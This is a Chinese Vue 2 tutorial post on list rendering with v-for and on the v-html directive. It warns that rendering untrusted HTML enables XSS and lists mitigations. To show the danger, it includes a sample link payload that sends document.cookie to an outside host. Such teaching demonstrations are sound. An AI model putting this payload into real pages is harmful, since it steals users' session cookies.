当前位置: 首页 > article >正文

Vue 响应式渲染 - 列表布局和v-html

Vue 渐进式JavaScript 框架 基于Vue2的学习笔记 - Vue 响应式渲染 - 列表布局和v-html

目录

列表布局

简单渲染列表

显示索引值

点击变色

V-html

作用

注意

采用策略

应用

总结


列表布局

简单渲染列表

Data中设置状态,是一个数组格式的默认信息。

然后设置v-for循环渲染ul的li元素。

示例如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="../lib/vue.js"></script>
</head>
<body>
<div id="box">
    <ul>
        <li v-for="item in datalist">{
  
  {item}}</li>
    </ul>
</div>
<script>
    new Vue({
        el: "#box", // element
        data: {
            datalist:["zhangsan", "lisi", "wangwu", "xiaoming"]
        },
        methods: {}
    })
</script>
</body>
</html>

效果如下:

显示索引值

显示列表数据的索引值。

示例如下:

<ul>
    <li v-for="(item, index) in datalist">
        {
  
  {item}}--{
  
  {index}}
    </li>
</ul>

效果如下:

点击变色

创建一个列表,点击哪一个行,哪一行显示选中效果。

示例如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <style>
        .active {
            background: red;
        }
    </style>
    <script src="../lib/vue.js"></script>
</head>
<body>
<div id="box">
    <ul>
        <li v-for="(item, index) in datalist" :class="current === index ? 'active': ''"
            @click="handleClick(index)">
            {
  
  {item}}
        </li>
    </ul>
</div>
<script>
    new Vue({
        el: "#box", // element
        data: {
            current: 0,
            datalist: ['面朝大海,春暖花开', '从明天起,做一个幸福的人', '喂马、劈柴,周游世界'],
        },
        methods: {
            handleClick(index) {
                this.current = index
            }
        }
    })
</script>
</body>
</html>

实现效果:

V-html

作用

更新元素的innerHTML。

注意

内容按普通 HTML插入。不会作为 Vue 模板进行编译。如果试图使用 v-html 组合模板,可以重新考虑是否通过使用组件来替代。

在网站上动态渲染任意 HTML 是非常危险的,因为容易导致 xss 攻击。

在可信内容上,不用在用户提交的内容上。

采用策略

使用V-html 需防止XSS,CSRF

前端过滤

后台转义

给cookie加上属性httponly

应用

模拟ajax请求后端数据后,使用vue解析和v-html解析展示不同效果。

示例如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="../lib/vue.js"></script>
</head>
<body>
<div id="box">
    <div>{
  
  {mydanger}}</div>
    <div v-html="mydanger"></div>
    <button @click="handleAjax()">请求</button>
</div>
<script>
    new Vue({
        el: "#box", // element
        data: {
            mydanger: '',
        },
        methods: {
            handleAjax() {
                console.log('点击了按钮')
                // 此处为请求后端获取数据
                this.mydanger = "<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>震惊!!!点击查看</a>"
            }
        }
    })
</script>
</body>
</html>

效果如下:

点击链接后,会跳转链接并带着cookie,非常危险。

总结

Vue 渐进式JavaScript 框架 基于Vue2的学习笔记 - Vue 响应式渲染 - 列表布局和v-html


http://www.kler.cn/a/523826.html

相关文章:

  • 探索性测试与自动化测试的结合
  • Redis学习之哨兵二
  • 剑指 Offer II 007. 数组中和为 0 的三个数
  • Hive:Hive Shell技巧
  • C++ ——— 仿函数
  • CAPL编程常见问题与解决方案深度解析
  • 【2024年华为OD机试】(C卷,200分)- 推荐多样性 (JavaScriptJava PythonC/C++)
  • kaggle-ISIC 2024 - 使用 3D-TBP 检测皮肤癌-学习笔记
  • go 循环处理无限极数据
  • 【llm对话系统】大模型 RAG 之回答生成:融合检索信息,生成精准答案
  • HTML表单深度解析:GET 和 POST 提交方法
  • linux监控脚本+自动触发邮件发送
  • 【AI】【本地部署】OpenWebUI的升级并移植旧有用户信息
  • 面向对象编程 vs 面向过程编程
  • React第二十七章(Suspense)
  • mysql 学习5 mysql图形化界面DataGrip下载 安装 使用
  • MIMIC-IV数据部署(博主较忙,缓慢更新)
  • 装机爱好者的纯净工具箱
  • 算法- Z字形变换
  • Java实现FIFO缓存策略实战
  • 为什么应用程序是特定于操作系统的?[计算机原理]
  • MFC 创建Ribbon样式窗口
  • NLP模型大对比:Transformer(Bert) > RNN > n-gram
  • Linux 常用命令——系统设置篇(保姆级说明)
  • 2024.12.28测试 总结
  • Redisson分布式限流的使用及原理